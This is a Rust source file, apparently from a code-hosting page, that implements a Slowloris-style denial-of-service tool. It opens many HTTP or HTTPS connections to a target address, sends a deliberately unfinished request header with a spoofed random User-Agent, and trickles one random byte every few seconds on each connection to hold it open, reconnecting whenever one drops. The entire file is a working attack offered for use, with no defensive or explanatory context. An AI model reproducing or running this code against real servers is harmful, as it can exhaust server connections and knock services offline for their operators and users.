You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

112 lines
3.0 KiB
Rust

/*
Copyright (c) 2021 trivernis
See LICENSE for more information
*/
use native_tls::TlsConnector;
use rand::Rng;
use scheduled_thread_pool::ScheduledThreadPool;
use std::io::Write;
use std::net::TcpStream;
use std::sync::Arc;
use std::thread;
use std::time::Duration;
use structopt::StructOpt;
#[derive(StructOpt, Debug)]
#[structopt()]
struct Opt {
/// The target address with port
#[structopt()]
pub address: String,
// The port to connect to
#[structopt(short, long, default_value = "443")]
pub port: u32,
/// If the connection should use plain http
#[structopt(short, long)]
pub http: bool,
/// Number of connections
#[structopt(short = "n", long, default_value = "200")]
pub count: usize,
}
fn main() {
let opts: Opt = Opt::from_args();
let pool = Arc::new(scheduled_thread_pool::ScheduledThreadPool::new(
num_cpus::get(),
));
for i in 0..opts.count {
let address = opts.address.clone();
let port = opts.port;
let https = !opts.http;
keep_alive(Arc::clone(&pool), i, address, port, https);
}
thread::park();
}
/// Sends Keep-Alive data to the server
fn keep_alive(pool: Arc<ScheduledThreadPool>, i: usize, address: String, port: u32, https: bool) {
let mut rng = rand::thread_rng();
if let Some(mut stream) = create_connection(&*address, port, https) {
println!("Connection {} established.", i);
let pool_clone = Arc::clone(&pool);
pool.execute_at_fixed_rate(
Duration::from_secs(rng.gen_range(5..10)),
Duration::from_secs(rng.gen_range(5..10)),
move || {
println!(r#"Sending "Keep-Alive-Header" for connection {}..."#, i);
if let Err(_) = stream.write_all(&[rand::random::<u8>()]) {
let address = address.clone();
let pool_clone2 = Arc::clone(&pool_clone);
println!("Connection {} lost. Reestablishing...", i);
pool_clone.execute(move || {
keep_alive(pool_clone2, i, address, port, https);
});
}
},
);
}
}
/// Creates a single HTTP/S connection
fn create_connection(
address: &str,
port: u32,
https: bool,
) -> Option<Box<dyn Write + Send + Sync>> {
let tcp_stream = TcpStream::connect(format!("{}:{}", address, port))
.map_err(|e| {
eprint!("Failed to establish connection: {}", e);
e
})
.ok()?;
let mut stream: Box<dyn Write + Send + Sync> = if https {
let connector = TlsConnector::new().ok()?;
let tls_stream = connector.connect(&*address.clone(), tcp_stream).ok()?;
Box::new(tls_stream)
} else {
Box::new(tcp_stream)
};
stream
.write_all(
format!(
"GET / HTTP/1.0\r\nUser-Agent: {}\r\nX-a: ",
fakeit::user_agent::random_platform()
)
.as_bytes(),
)
.ok()?;
Some(stream)
}